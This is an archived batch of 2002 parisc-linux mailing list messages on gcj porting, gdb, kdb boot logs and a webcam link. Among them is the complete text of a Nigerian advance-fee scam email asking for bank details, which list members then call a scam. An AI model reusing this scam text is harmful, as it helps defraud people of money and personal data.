X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14929

On Thu, May 30, 2002 at 05:01:45PM -0400, John David Anglin wrote:
> > > I have network connectivity now, and heres what I get for the
> > > java possibilities:
> > 
> > Phil Pinkerton had complained about this earlier.
> > He couldn't even get the code from Sun to compile.
> 
> gcj builds without problem on all parisc configurations.  However,
> nobody has done the work to port the java libraries.  I imagine
> that getting the libraries to build under hppa-linux should be
> pretty straight forward.

For some reason, doko disabled gcj from building in debian's packages.
Anyone know why?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Thu, 30 May 2002 17:16:01 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200205302116.g4ULG2YZ003411@hiauly1.hia.nrc.ca>
References: <20020530221126.B10366@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621343 8122 80.91.229.3 (22 Nov 2014 01:55:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:43 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, marc@centraltx.com,
	parisc-linux@lists.parisc-linux.org, doko@cs.tu-berlin.de
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 15:16:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 379D7482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 15:16:10 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g4ULG2FN003412;
	Thu, 30 May 2002 17:16:02 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g4ULG2YZ003411;
	Thu, 30 May 2002 17:16:02 -0400 (EDT)
In-Reply-To: <20020530221126.B10366@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at May 30, 2002 10:11:26 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14930

> > gcj builds without problem on all parisc configurations.  However,
> > nobody has done the work to port the java libraries.  I imagine
> > that getting the libraries to build under hppa-linux should be
> > pretty straight forward.
> 
> For some reason, doko disabled gcj from building in debian's packages.
> Anyone know why?

Probably, since gcj is more or less useless without the libraries.
The hard part may be libffi.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J5000 Webcam
Date: Thu, 30 May 2002 17:11:59 -0700 (PDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205301710420.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621344 8124 80.91.229.3 (22 Nov 2014 01:55:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 18:12:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9F5E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 18:12:05 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id 646487BC45
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 17:11:59 -0700 (PDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14931

If anyone is interested in seeing an image of my J5000's LCD screen, 
updated every 60 seconds.

http://demo.apptechsys.com/HPUXWebCam/


-- 
You definitely intend to start living sometime soon.




From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH: flush_icache_page() and flush_icache_range()
Date: Fri, 31 May 2002 00:55:59 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20020530235559.GB3471@sleepie.demon.co.uk>
References: <20020529060242.GG3471@sleepie.demon.co.uk> <200205291409.g4TE9RG7027493@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621344 8128 80.91.229.3 (22 Nov 2014 01:55:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 18:19:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id E56F4482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 18:19:02 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 02FE29ECF7; Fri, 31 May 2002 00:55:59 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <200205291409.g4TE9RG7027493@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14932

On Wed, May 29, 2002 at 10:09:27AM -0400, John David Anglin wrote:
> > You mean like
> > 
> > Breakpoint 1, main (argc=1, argv=0xbff00148) at ../simple.c:16
> > 16              a = thing(1);
> > (gdb) print thing(7)
> 
> Yes.  I find this an extremely useful feature in debugging gcc.  It
> has various hooks to print rtl and tree structs that I miss not being
> able to use.

I've got this semi-working now.  Simple cases like the example above now
work (thing(n) returns n*2).  Other cases, such as print strlen("abc")
crash the target program.  I'll keep working on it and post a diff once
it works for a few more cases.

Richard




From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dr.TONDE" <dr_tonde@rediffmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PRIVATE BUSINESS
Date: Fri, 31 May 2002 02:36:17
Lines: 71
Approved: news@gmane.org
Message-ID: <20020531013543.2456F482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621344 8130 80.91.229.3 (22 Nov 2014 01:55:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 19:35:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.parisc-linux.org (unknown [64.86.155.132])
	by dsl2.external.hp.com (Postfix) with SMTP id 2456F482A
	for <parisc-linux@parisc-linux.org>; Thu, 30 May 2002 19:35:43 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14933

The Desk of Dr.TONDE
 
 
Zenith Bank of Nigeria,
Lagos-Nigeria.
 
Dear Sir,

STRICTLY A PRIVATE BUSINESS PROPOSAL
 
I am Dr.TONDE, The manager, Bills and
Exchange at the Foreign Remittance Department of the Zenith
Bank of Nigeria Plc. I am writing this letter to ask for your
support and cooperation to carry out this business opportunity in 
my department.
We discovered an  abandoned sum of USD$50.3M(Fifty million three 
hundreds United States Dollars only) in an account that belongs to 
one of our foreign customers who died along with his entire family 
of a wife and two children in November 1997 in a Plane crash.

Since we heard of his death, we have been expecting
his next-of-kin to come over and put claims for his money as the 
heir, because we cannot release the fund from his account unless 
someone applies for claim as the next-of-kin to
the deceased as indicated in our banking guidelines.
Unfortunately, neither their family member nor
distant relative has everappeared to claim the said fund. Upon this
discovery, I and other officials in my department have agreed to 
make business with you and release the total amount into your 
account as the heir of the fund since no one came
for it or discovered he maintained account with our bank, otherwise 
the fund will be returned to the banks treasury as unclaimed fund.
We have agreed that our ratio of sharing will be as
stated thus;

20 % for you as foreign partner,
5 % for us the officials in my department and
5 % for the settlement of all local and foreign
expences incurred by us and you during the course of
this business.
Upon the successful completion of this transfer, I
and one of my colleagues will come to your country and
mind our share. It is from our 75 % we intend to import 
Agricultural Machineries into my country
as a way of recycling the fund. To commence this
transaction, we require you to immediately
indicate your interest by a return e-mail and
enclose your private contact telephone number, fax number full
name and address and your designated bank coordinates to enable us 
file letter of claim to the appropriate departments for necessary 
approvals before the transfer can be
made. 

Note also, this transaction must be kept STRICTLY
CONFIDENTIAL because of its nature.
 
I look forward to receiving your prompt response through me 
alternative e-mail address (dr_tonde@rediffmail.com).
 
Dr.TONDE

Zenith Bank of Nigeria










From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Fri, 31 May 2002 08:28:49 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20020531072849.GD1145@tykepenguin.com>
References: <20020528132933.B31214@systemhalted> <20020529075131.GC9919@tykepenguin.com> <20020529082107.A2794@systemhalted> <20020529141231.GG9919@tykepenguin.com> <20020529110118.A3691@systemhalted> <20020529162438.GJ9919@tykepenguin.com> <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621345 8135 80.91.229.3 (22 Nov 2014 01:55:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 01:28:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-5-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF9AF482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 May 2002 01:28:51 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17Dgq9-0000Qk-00; Fri, 31 May 2002 08:28:49 +0100
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020530133515.B15631@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14934

On Thu, May 30, 2002 at 01:35:15PM -0400, Carlos O'Donell Jr. wrote:
> > Hmmm
> > CONFIG_KDB=y      : no serial console or FW SCSI
> > CONFIG_KDB=n      : all works fine.
> > bizarre!
> > patrick
> >
> 
> Did you try building+booting from the kdb patches?

Yes, exactly the same results. There's some thing different about the
binary vmlinux thatmay, or may not, be relevant. The kdb one seems to
have fewer segments than a non-kdb one:

(Normal boot:)
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 1937528 mediaptr 0x1000
Segment 1 load 002da000 size 295576 mediaptr 0x1db000
Segment 2 load 00324000 size 247332 mediaptr 0x224000
Segment 3 load 00364000 size 8192 mediaptr 0x261000
Segment 4 load 00368000 size 32768 mediaptr 0x263000
Segment 5 load 00391084 size 97664 mediaptr 0x26b084
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

(total segment size: 2619060)


KDB boot:
ELF32 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 2035156 mediaptr 0x1000
Segment 1 load 002f2000 size 692152 mediaptr 0x1f2000
Segment 2 load 0039c000 size 253952 mediaptr 0x29b000
Segment 3 load 003e0000 size 32768 mediaptr 0x2d9000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

(total segment size: 3014028)


Patrick




From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "COLLINGWOOD,CHRIS (HP-SouthAfrica,ex1)" <chris_collingwood@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] PRIVATE BUSINESS
Date: Fri, 31 May 2002 11:35:15 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <19BD8DB94856D4118EF200D0B747A655613889@barnaard.safrica.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621345 8138 80.91.229.3 (22 Nov 2014 01:55:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 03:35:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from gremg1.net.external.hp.com (grenmg1.net.external.hp.com [155.208.254.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id D592E482A
	for <parisc-linux@parisc-linux.org>; Fri, 31 May 2002 03:35:23 -0600 (MDT)
Original-Received: from aare.GVA.HP.COM (aare.gva.hp.com [15.152.18.77])
	by gremg1.net.external.hp.com (Postfix) with SMTP id C0D7A84B
	for <parisc-linux@parisc-linux.org>; Fri, 31 May 2002 11:35:17 +0200 (METDST)
Original-Received: from 15.152.18.77 by aare.GVA.HP.COM (InterScan E-Mail VirusWall NT); Fri, 31 May 2002 11:35:16 +0200 (W. Europe Daylight Time)
Original-Received: by aare.gva.hp.com with Internet Mail Service (5.5.2655.55)
	id <L7MK3B0C>; Fri, 31 May 2002 11:35:16 +0200
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14935

Isn't this just such a beautiful scam. All the elements are there, loads of
cash, help for a poor agricultural nation, official sounding names, and so
on. Such a pity that it is a total scam ,and for some (apparently) very
dangerous.

-----Original Message-----
From: Dr.TONDE [mailto:dr_tonde@rediffmail.com]
Sent: Friday, May 31, 2002 4:36 AM
To: parisc-linux@parisc-linux.org
Subject: [parisc-linux] PRIVATE BUSINESS


The Desk of Dr.TONDE
 
 
Zenith Bank of Nigeria,
Lagos-Nigeria.
 
Dear Sir,

STRICTLY A PRIVATE BUSINESS PROPOSAL
>>-----------------SCAM Data snipped----------------------<<



From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: s-clarob@st-aidans.cumbria.sch.uk
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] PRIVATE BUSINESS
Date: Fri, 31 May 2002 10:41:18 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020531103959.06cc0b40@10.106.16.2>
References: <19BD8DB94856D4118EF200D0B747A655613889@barnaard.safrica.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed; charset=us-ascii
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621345 8140 80.91.229.3 (22 Nov 2014 01:55:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 03:44:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cleo0.lancs.ac.uk (unknown [212.219.207.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7307482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 May 2002 03:44:56 -0600 (MDT)
Original-Received: from name1.st-aidans.cumbria.sch.uk ([212.219.204.44])
 by cleo0.lancs.ac.uk (Sun Internet Mail Server sims.4.0.1999.06.13.00.20)
 with ESMTP id <0GWY00H85Z2THJ@cleo0.lancs.ac.uk> for
 parisc-linux@lists.parisc-linux.org; Fri, 31 May 2002 10:44:53 +0100 (BST)
Original-Received: from NETADMIN2.st-aidans.cumbria.sch.uk (s-clarob@[10.106.17.19])
	by name1.st-aidans.cumbria.sch.uk (8.9.3/8.9.3) with ESMTP id KAA11114	for
 <parisc-linux@lists.parisc-linux.org>; Fri, 31 May 2002 10:40:53 -0400
In-reply-to: <19BD8DB94856D4118EF200D0B747A655613889@barnaard.safrica.hp.com>
X-Sender: s-clarob@10.106.16.2
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14936

Why do useful listings always end up getting spamed.

:(

Rob

At 11:35 31/05/02 +0200, you wrote:
>Isn't this just such a beautiful scam. All the elements are there, loads of
>cash, help for a poor agricultural nation, official sounding names, and so
>on. Such a pity that it is a total scam ,and for some (apparently) very
>dangerous.
>
>-----Original Message-----
>From: Dr.TONDE [mailto:dr_tonde@rediffmail.com]
>Sent: Friday, May 31, 2002 4:36 AM
>To: parisc-linux@parisc-linux.org
>Subject: [parisc-linux] PRIVATE BUSINESS
>
>
>The Desk of Dr.TONDE
>
>
>Zenith Bank of Nigeria,
>Lagos-Nigeria.
>
>Dear Sir,
>
>STRICTLY A PRIVATE BUSINESS PROPOSAL
> >>-----------------SCAM Data snipped----------------------<<
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux





From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jonathan Pulfer <pulferj.phobos@midrange.norwich-union.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] install on A180c
Date: Fri, 31 May 2002 13:42:09 +0100 (BST)
Lines: 127
Approved: news@gmane.org
Message-ID: <200205311242.g4VCg9Z02397@phobos.norwich-union.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621345 8144 80.91.229.3 (22 Nov 2014 01:55:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 06:43:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from E-MAIL.COM (e-mail.com [204.146.168.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F779482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 May 2002 06:43:01 -0600 (MDT)
Original-Received: by E-MAIL.COM (IBM VM SMTP Level 320) via spool with SMTP id 9658 ; Fri, 31 May 2002 08:42:59 EDT
Original-Received: from gagps1.tag.norwich-union.co.uk [146.162.72.10] by IMXGATE.COM (IBM VM SMTP Level 320) via TCP with SMTP ; Fri, 31 May 2002 08:42:46 EDT
Original-Received: from emgl0104.NU (prodmailsweeper.app.norwich-union.com.tag.norwich-union.co.uk [172.26.62.246])
        by gagps1.tag.norwich-union.co.uk (8.8.6 (PHNE_17190)/8.8.6) with ESMTP id NAA21772
        for <parisc-linux@lists.parisc-linux.org>; Fri, 31 May 2002 13:32:38 +0100 (BST)
Original-Received: from dcssm03.midrange.norwich-union.co.uk (unverified) by emgl0104.NU
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T0ac80003d85b332cde45@emgl0104.NU>;
 Fri, 31 May 2002 13:43:22 +0000
Original-Received: from phobos.norwich-union.com (pulferj@phobos.norwich-union.com [172.26.219.165])
        by dcssm03.midrange.norwich-union.co.uk (8.11.4/8.10.2) with ESMTP id g4VCgDF23110;
        Fri, 31 May 2002 13:42:13 +0100 (BST)
Original-Received: (from pulferj@localhost)
	by phobos.norwich-union.com (8.11.3/8.11.3) id g4VCg9Z02397;
	Fri, 31 May 2002 13:42:09 +0100 (BST)
Content-MD5: 99pcpxx6EnGYpRQRjxAqUg==
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
